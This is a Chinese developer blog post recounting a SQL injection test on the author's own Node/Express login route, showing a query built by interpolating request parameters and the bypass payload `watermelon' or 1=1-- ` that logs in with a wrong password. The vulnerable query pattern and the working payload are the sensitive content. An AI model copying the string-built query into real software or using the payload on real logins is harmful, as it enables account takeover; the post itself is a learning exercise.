node 环境,mysql 注入

2018-11-27  本文已影响0人  webmrxu

记录一次mysql注入过程。

环境

后端: node 、 express

描述

最近在开发一个简单的个人博客,在开发登录功能时,闲暇时看到MySQL 注入 这篇文章,于是想到自己写的登录代码不就是这样的,逻辑上看起来和文章中描述的 mysql 执行语句很像。于是开始按照文章中的步骤进行尝试是不是会发生文章中sql 注入问题。

后端node 逻辑

刚开始开发,为了方便测试,使用 get 请求测试用户名和密码进行登录,在正式环境中,请使用post 提交用户名和密码进行登录。

后端 node 登录逻辑代码

登录查询 sql 语句:

let sql = `
    SELECT user_login,user_nicename,user_email,display_name from wp_users
    WHERE user_login = '${name}'
    AND user_pass = '${pwdMd5}'
    `;

后端node 逻辑代码如下。

router.get('/login', function(req, res, next) {
    let name = req.param('name');
    let pwd = req.param('pwd');
    let pwdMd5 = unit.MD5Encrypt(pwd);

    let sql = `
    SELECT user_login,user_nicename,user_email,display_name from wp_users
    WHERE user_login = '${name}'
    AND user_pass = '${pwdMd5}'
    `;
    console.info(sql);
    database.query(sql, (err, rows, fileds) => {
        if (err) {
            throw err;
        }
        if (rows.length !== 1){
            res.json({message: "用户名或者密码错误", code: '2001'});
        } else {
            let userData = rows[0];
            let tokenInstance = token.generatorToken(userData);
            res.json({message: "ok", token: tokenInstance, data: userData, code: '1000'});
        }
    })
});

前端模拟登录

前端js代码; 用户名为watermelon , 使用正确密码为 222 进行登录测试。

document.getElementById('other').onclick = function() {
    let xhr = new XMLHttpRequest();
    xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=222");
    xhr.onload = function(a, b) {
        let data = JSON.parse(xhr.responseText)
        token = data.token;
        console.log(token)
    }
    xhr.send();
}

测试阶段暂时使用明文进行登录,正式环境需要使用rsa 对明文进行加密。

浏览器F12 调试如下:登录成功,返回了token

1.jpg 2.jpg

同一个用户,使用错误的密码:111,进行登录,测试是否能登录成功。

// 其他代码省略
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=111");

浏览器F12 调试如下:登录失败

3.jpg 4.jpg

说明使用错误的密码不能进行登录。接下来开始有趣的测试 sql 注入, 使用错误密码进登录,绕过密码验证。

进行sql 注入

参考MySQL 注入 文章中其中的一部分, 使用简单的sql注入写法or 1=1--,原理是:-- 为mysql执行代码的注释标志,也就是说-- 后面的mysql 语句不会执行。

使用错误的密码:111 进行登录, 但用户名改为:watermelon or 1=1--

// 其他代码省略
xhr.open('GET', "http://localhost:3000/web/login?name=watermelon or 1=1--&pwd=111");

浏览器F12 调试如下:登录失败

5.jpg 55.jpg

后端console.log 输出的 sql 语句为

6.jpg

登录失败,查询不到数据,因为sql 将整个用户名当做字符串进行了处理。使用navcat 调试。

7.jpg

如果需要sql注入成功,需要 sql 语句不把用户名当做字符串处理。

navcat手动调试sql语句,直到能查询出数据。

仔细查看,当用户名中加入 ' 后,sql 语句就能执行成功。

8.jpg

修改浏览器发送http 代码:登录url参数为:name=watermelon' or 1=1-- &pwd=111"

document.getElementById('other').onclick = function() {
    let xhr = new XMLHttpRequest();
    xhr.open('GET', "http://localhost:3000/web/login?name=watermelon' or 1=1-- &pwd=111"); 
   // 仔细看才能看出区别
    xhr.onload = function(a, b) {
        let data = JSON.parse(xhr.responseText)
        token = data.token;
        console.log(token)
    }
    xhr.send();
}
9.jpg 10.jpg

测试可以看出,sql 注入成功。使用错误密码 111 也能登录。不管使用任何密码,只要user表中存在这个用户,就能登录成功。

总结

使用别人搭建好的系统时进行,一般已经处理了sql注入问题,所以在开发时,不会考虑sql注入问题。到自己搭建一个系统才发现需要处理的问题有很多。例如:session、token 会话、mysql数据库连接、跨域、密码MD5 加密、路由统一分发权限控制、登录密码加密、sql注入安全问题等等。这些都需要自己理解其中的原理,然后多去实践,并找到解决方案。

一个系统需要安全的运行,还需要有健壮的代码,所以代码review很重要,特别是后端代码,一个不小心,整个系统数据都不安全了。

如何解决sql注入问题,还需要再研究,等下篇文章。

上一篇下一篇

猜你喜欢

热点阅读